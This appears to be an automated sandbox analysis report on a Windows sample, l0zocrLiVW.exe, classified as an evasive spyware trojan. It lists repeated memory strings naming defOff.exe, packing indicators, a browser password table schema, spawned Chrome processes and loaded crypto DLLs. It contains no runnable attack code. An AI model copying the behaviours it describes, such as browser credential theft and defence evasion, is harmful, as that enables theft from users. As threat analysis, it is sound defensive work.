Source: l0zocrLiVW.exe, 00000000.00000003.2432946522.0000000005DA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2436707725.0000000005ED8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2426812753.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2434237184.0000000005DB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2430023750.0000000005CCD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2433406843.0000000005DAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2431676047.0000000005CCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2443180515.0000000005CCA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2441542484.0000000005DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2444318660.0000000005E11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2434832160.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2433761148.0000000005DB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2444906057.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2433997551.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2478091593.00000000058C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2428871255.0000000005D6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2430761226.0000000005E40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2427351175.0000000005CCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2443742538.0000000005CC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2432659012.0000000005DB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2429339742.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2431261358.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2436484883.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2437790453.0000000005DE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2433642165.0000000005CCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2479269730.0000000005847000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2432439074.0000000005E82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2431048126.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2434116344.0000000005CCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2430560370.0000000005CC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2430661727.0000000005D84000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2431885188.0000000005CCA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2442563237.0000000005E00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2426812753.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2434732506.0000000005EB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2443344711.0000000005DF7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2442248662.0000000005F14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2435923899.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2429515958.0000000005CD4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2434952878.0000000005DC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2427159370.0000000005CCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2429057923.0000000005D68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2437014572.0000000005CC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2428533872.0000000005D6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2442710106.0000000005CD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2427256256.0000000005B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2429805118.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2427067404.0000000005B27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2441773414.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2439871333.0000000005F04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2478290955.0000000005863000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2430944211.0000000005D86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2431156858.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2445205868.0000000005F60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2432766508.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000002.2545824199.0000000005F7D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2442416397.0000000005CD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2428216214.0000000005D61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2478495197.0000000005847000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2430225154.0000000005CCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2428621732.0000000005CD4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2430842407.0000000005CC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2431569186.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2442023762.0000000005DED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2432549989.0000000005CD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2438589895.0000000005DE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2432057535.0000000005D9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2432296595.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2429148121.0000000005E0E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2444750750.0000000005F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2429238135.0000000005CD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2444462157.0000000005CD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2428971867.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2444171195.0000000005CCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2434606356.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2428783549.0000000005CC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2430460073.0000000005E30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2443884497.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2429920441.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2426812753.0000000005939000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2433087086.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2441006358.0000000005CCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2431364049.0000000005CC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2433296284.0000000005CC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2433516919.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2444028066.0000000005F3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2436305911.0000000005CC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2445054018.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2434483697.0000000005CC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2428447099.0000000005CD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2442857238.0000000005E05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2428696998.0000000005D6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2429672553.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2435086316.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2443482136.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2431464713.0000000005D8E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2435553779.0000000005CC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2432171790.0000000005CC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2428305707.0000000005E05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2426992690.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2434355763.0000000005EB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe
Source: l0zocrLiVW.exe, 00000000.00000003.2444603829.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs l0zocrLiVW.exe

Source: l0zocrLiVW.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: l0zocrLiVW.exe

Static PE information: Section: ZLIB complexity 0.9995723549836601

Source: l0zocrLiVW.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/64@19/6

Source: C:\Users\user\Desktop\l0zocrLiVW.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: l0zocrLiVW.exe, 00000000.00000003.2214037888.000000000585A000.00000004.00000800.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2213650008.0000000005878000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: l0zocrLiVW.exe	Virustotal: Detection: 56%
Source: l0zocrLiVW.exe	ReversingLabs: Detection: 60%

Source: C:\Users\user\Desktop\l0zocrLiVW.exe

File read: C:\Users\user\Desktop\l0zocrLiVW.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\l0zocrLiVW.exe "C:\Users\user\Desktop\l0zocrLiVW.exe"
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=l0zocrLiVW.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=1716,i,5608380485786749937,14548115154099977496,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=l0zocrLiVW.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1968,i,7634424208604645419,15269702319907596955,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=l0zocrLiVW.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=l0zocrLiVW.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=1716,i,5608380485786749937,14548115154099977496,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1968,i,7634424208604645419,15269702319907596955,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: dpapi.dll	Jump to behavior
